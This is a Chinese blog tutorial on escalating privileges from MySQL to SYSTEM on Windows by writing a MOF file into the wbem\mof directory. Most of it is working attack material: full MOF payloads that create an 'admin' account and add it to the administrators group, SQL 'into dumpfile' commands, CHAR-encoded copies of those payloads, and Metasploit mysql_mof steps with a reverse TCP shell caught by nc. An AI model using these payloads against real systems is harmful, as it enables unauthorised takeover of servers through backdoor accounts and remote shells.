提权学习：MySQL数据库提权（mof 漏洞提权）

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当你的才华

还撑不起你的野心时

那你就应该静下心来学习

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目录

MySQLmof漏洞介绍

漏洞介绍传送门

前言

原理

拓展知识：

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MySQLmof漏洞介绍

漏洞介绍传送门

                         http://www.exploit-db.com/exploits/23083/

                         http://www.exploit-db.com/sploits/23083.zip

 

前言

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件：

方法 1： 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2： 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3： 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件，或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供，并因为此功能可能不会提供在将来的版本后，不应使用。

原理

      在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次（由"And TargetInstance.Second = 5";控制，这里输入5就是每分钟的第五秒执行。），那么把cmd命令添加到nullevt.mof中，cmd命令就会自动执行了。
 

把.mof文件上传到服务器上去(可读可写目录)，然后通过webshell导出为：c:/windows/system32/wbem/mof/nullevt.mof

.mof的内容为

注：是用c语言写的。

#pragma namespace(“\\\\.\\root\\subscription”)
 
instance of __EventFilter as $EventFilter
 {
 EventNamespace = “Root\\Cimv2″;
 Name  = “filtP2″;
 Query = “Select * From __InstanceModificationEvent “
 “Where TargetInstance Isa \”Win32_LocalTime\” “
 “And TargetInstance.Second = 5″;
 QueryLanguage = “WQL”;
 };
 
instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = “consPCSV2″;
 ScriptingEngine = “JScript”;
 ScriptText =
 “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;
 };
 
instance of __FilterToConsumerBinding
 {
 Consumer   = $Consumer;
 Filter = $EventFilter;
 };

我把它上传到了c盘目录下(可读可写目录)

然后在webshell中通过sql代码执行导出:select load_file('C:\\RECYCLER\\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行之后，会在c:/windows/system32/wbem/mof/good/目录下多出个nullevt.mof文件。

查看下当前的用户,是否有admin

发现并没有admin,等个几秒钟就会调用nullevt.mof文件创建一个admin用户

删除这个用户之后，默认它还是会过5s添加一次用户，解决方法就是:

第一：net stop winmgmt停止服务，

第二：删除文件夹：C:\WINDOWS\system32\wbem\Repository\

第三：net start winmgmt启动服务

也可以直接在sql中执行以下代码，效果是一样的

select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

也会在c:/windows/system32/wbem/mof/good/目录下生成个nullevt.mof文件。

添加了用户，但admin用户还不是administrators组，我们再上传一个mof将它加到administrators组。

#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

就把这条cmd命令改下就行了:"net.exe localgroup administrators admin /add\"改成你要的结果。

SELECT CHAR(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,117,115,101,114,32,97,100,109,105,110,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) INTO dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

 

拓展知识：

      metasploit已经有针对该方式的利用代码，原理还是一样生成mof文件，只是metasploit中可以使用到反弹技术，就不用额外添加用户，前提是对方服务器允许访问公网

      利用 use exploit/windows/mysql/mysql_mof 模块

use exploit/windows/mysql/mysql_mof
set password xxx    //设置登录mysql的密码
set username xxx    //设置登录mysql的用户
set rhost xxx       //设置要登录的ip地址
set rport xxxx      //设置mysql的端口号
set payload windows/shell_reverse_tcp    //所使用的反弹模块
set lhost xxx       //反弹到的ip地址
set lport xxx       //反弹到的端口
show options        //设置完成后，使用该命令可查看设置参数情况
exploit             //执行

上诉配置没问题，即exploit执行，反弹Shell

注：我们使用nc监听对应端口号，就可以接收到shell了，通常情况为system权限，因为mof文件是由system执行

 

另外一种mof 提权

具体到mysql提权中，我们又该怎么利用呢？

1、找一个可写目录上传mof文件，我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

其中的第18行的命令，上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功后，即可添加一个普通用户，然后你可以更改命令，再上传导出执行把用户提升到管理员权限，然后3389连接之就ok了。

参考链接：

                  https://blog.51cto.com/z2ppp/1975993

                  https://www.waitalone.cn/mysql-tiquan-summary.html

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我不需要自由，只想背着她的梦

一步步向前走，她给的永远不重

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